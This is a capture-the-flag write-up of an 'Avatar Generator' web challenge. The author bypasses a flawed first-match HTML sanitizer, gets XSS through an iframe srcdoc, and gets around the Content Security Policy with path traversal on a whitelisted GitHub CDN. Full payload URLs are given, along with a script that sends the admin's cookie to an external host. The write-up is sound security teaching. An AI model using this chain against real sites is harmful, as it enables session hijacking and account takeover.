Initial Statement
Not much information on what we have to do, let's inspect the application.
Introduction
Here is how the application looks. Basically we can see a seed, and two colours. We can generate a new avatar and share it on twitter. We can also see we can contact the admin. And there is an admin page that we can't access because we don't have the password. By looking at the url shared, we can identify that we can modify values through GET parameters in the URL.
We have three parameters: seed, primary and secondary.
Let's look at the source code.
Source code analysis
When looking at the source code using the developper tools. We can see the whole avatar generation system is done in javascript on the client side. Hence, we can think about XSS or other injections in the DOM.
To be able to analyse the source code easily, we can download the whole code using this command:
$ wget -r https://avatar-generator.france-cybersecurity-challenge.fr/
Here is an overview of the application:
What's interesting for us is the /assets/js
folder which contains all the logic behind the application.
document.addEventListener('DOMContentLoaded', function(){
debug = false
if (window.location.hash.substr(1) == 'debug'){
debug = true
}
try {
params = getURLParams()
let seed = params.get('seed') === null ? randomSeed() : params.get('seed')
let primaryColor = params.get('primary')
let secondaryColor = params.get('secondary')
generateAvatar(seed, primaryColor, secondaryColor)
}
catch(error){
if (debug) {
let errorMessage = "Error! An error occured while loading the page... Details: " + error
document.querySelector('.container').innerHTML = errorMessage
}
else {
generateRandomAvatar()
}
}
document.getElementById('randomAvatar').addEventListener('click', generateRandomAvatar)
document.getElementById('shareAvatar').addEventListener('click', shareAvatar)
})
Here is the entry point of the application. We instantly see there is a debug mode that prints out in the html page what we actually typed in a parameter if it's wrong.
Here is the code of the generateAvatar function:
function generateAvatar(seed, primaryColor, secondaryColor){
let options = new minBlock({
canvasID: 'avatar',
color: {
primary: primaryColor,
secondary: secondaryColor
},
random: makePRNG(seed)
})
updateSettings(seed, options.color.primary, options.color.secondary)
}
And here is the code of updateSettings:
function updateSettings(seed, primaryColor, secondaryColor){
currentSeed = seed
currentPrimaryColor = primaryColor
currentSecondaryColor = secondaryColor
document.getElementById('seed').innerHTML = integerPolicy.createHTML(currentSeed)
document.getElementById('primaryColor').innerHTML = colorPolicy.createHTML(currentPrimaryColor)
document.getElementById('secondaryColor').innerHTML = colorPolicy.createHTML(currentSecondaryColor)
document.getElementById('topColor').style.backgroundColor = currentPrimaryColor
let notyf = new Notyf()
notyf.confirm('New avatar generated!')
}
We can see that when the settings are updated, the html is replaced by the parameters. Those parameters are filtered by policies, to make sure they belong to trusted types. Let's check out how are implemented those types.
When using trusted types, everything that will be inserted in the html has to go through a function to make sure they are "safe" to use. Including basic object.innerHTML modifications
The policies are defined in the file policies.js
const RE_HEX_COLOR = /^#[0-9A-Fa-f]{6}$/i
const RE_INTEGER = /^\d+$/
function sanitizeHTML(html){
return html
.replace(/&/, "&")
.replace(/</, "<")
.replace(/>/, ">")
.replace(/"/, """)
.replace(/'/, "'")
}
let sanitizePolicy = TrustedTypes.createPolicy('default', {
createHTML(html) {
return sanitizeHTML(html)
},
createURL(url) {
return url
},
createScriptURL(url) {
return url
}
})
let colorPolicy = TrustedTypes.createPolicy('color', {
createHTML(color) {
if (RE_HEX_COLOR.test(color)){
return color
}
throw new TypeError(`Invalid color '${color}'`);
}
})
let integerPolicy = TrustedTypes.createPolicy('integer', {
createHTML(integer) {
if (RE_INTEGER.test(integer)){
return integer
}
throw new TypeError(`Invalid integer '${integer}'`);
}
})
Basically we have a policy for colors, that will check the input against a regex that looks quite heavy an difficult to bypass. It is the same for integers. What's interesting is that the html is not properly sanitized using known functions or library like DOM Purify, or like would do htmlspecialchars in php. They are using a home made sanitizers which is often flawed.
Here we can see the regex is wrong. using these kind of regex, the regex will only replace the first matching occurence of the regex.
For example, if we have this code:
let data = "abcdefabcdef";
let regex = /abcdef/
let datafiltered = data.replace(regex, "123456")
console.log(datafiltered)
The regex would only match de first occurence of abcdef and replace it:
Thus, we can bypass this regex pretty easily. So by passing a wrong parameter (that doesn't match de regex of the policies), an error will be raised and printed in the page if the debug mode is activated. Else, it would simply generate a new avatar randomly. I think we have our bug !
Also in the header of the html, we can see some Content-Security-Policies are set:
<meta http-equiv="Content-Security-Policy" content="script-src rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/ 'self'; object-src 'none'; trusted-types default color integer;">
We can only access local scripts and scripts located on rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/
Exploitation
We have our bug, let's try to exploit it.
Trigger the XSS
Our first goal will be to pop an alert on the page. First thing to do is to verify our input is really reflected in the DOM:
Here is a sample test payload
We can see our <strong> element is rendered by our browser, we can inject html ! Also, we have to know that <script> tags won't be interpreted because they are inserted using document.innerHTML = content
which by default doesn't execute javascript inserted. Hence we have to find a way to execute javascript. A common bypass for this is to load an iframe.
Let's try it out.
I use prometheus.woody.sh because I already configured the ssl traffic so I can use https, I was too lazy to add a nginx configuration
And we got our XSS !
Problem, it's on our domain... but we can use another attribute of the iframe tag: srcdoc, this way we will be able to create an iframe which will be from the same domain.
So using this payload:
/?seed=<p%20id=%27a%27><iframe srcdoc='<script>alert()</script>' />&primary=azea&secondary=b#debug
We can't get an alert because of the csp blocking unsafe-inline scripts. Though, it looks like we may be able to exploit the CDN.
CSP Bypass
We can see the CSP accepts scripts located on rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/
Let's see what this CDN is about.
Basically this CDN serves code from github. So I thought we could use some sort of Path Traversal to access my own code on github. I created a project and stored some code there, one script to put an alert and one to redirect the user to my endpoint with the cookies !
Hence my url will be:
https://rawcdn.githack.com/0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/alert.js
Tweaked using the path traversal trick, it becomes
https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%2f..%2f..%2f..%2f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/alert.js
I don't know why but I had to double encode slashes to make it work.
Here is the payload pasted in the seed parameter:
<>"'<iframe srcdoc='<script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js"></script>'/>
Sometimes the cache of the CDN would redirect too much and produce 429 http code, so I had to purge the cache and try again (and pray for the cdn to serve the content correctly...).
And there we go !
Redirecting the admin and get the flag
I then hosted a more evil payload, that would redirect the admin to an external url and leak his cookie:
document.location="https://prometheus.woody.sh/?c=".concat(document.cookie)
Then I generated a link and tried it on myself.
Payload to put in seed:
<>"'<iframe srcdoc='<script src="https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js"></script>'/>
Final payload to send to the bot:
https://avatar-generator.france-cybersecurity-challenge.fr/?seed=%3C%3E%22%27%3Ciframe%20srcdoc=%27%3Cscript%20src=%22https://rawcdn.githack.com/caroso1222/notyf/v2.0.1/dist/..%252f..%252f..%252f..%252f0xW00dy/toto/ff93afa0ebe8ce16a2136b74ae1ee63982a80d1d/hehe.js%22%3E%3C/script%3E%27/%3E&primary=azea&secondary=b#debug
We finally get the admin cookie:
And we get the flag !
Conclusion
Thanks for the amazing challenge where we had to bypass a regex in order to get a XSS. Then, we needed to bypass the CSP using the github cdn to achieve our goal of impersonating the administrator to get the flag. I learned a lot on this challenge!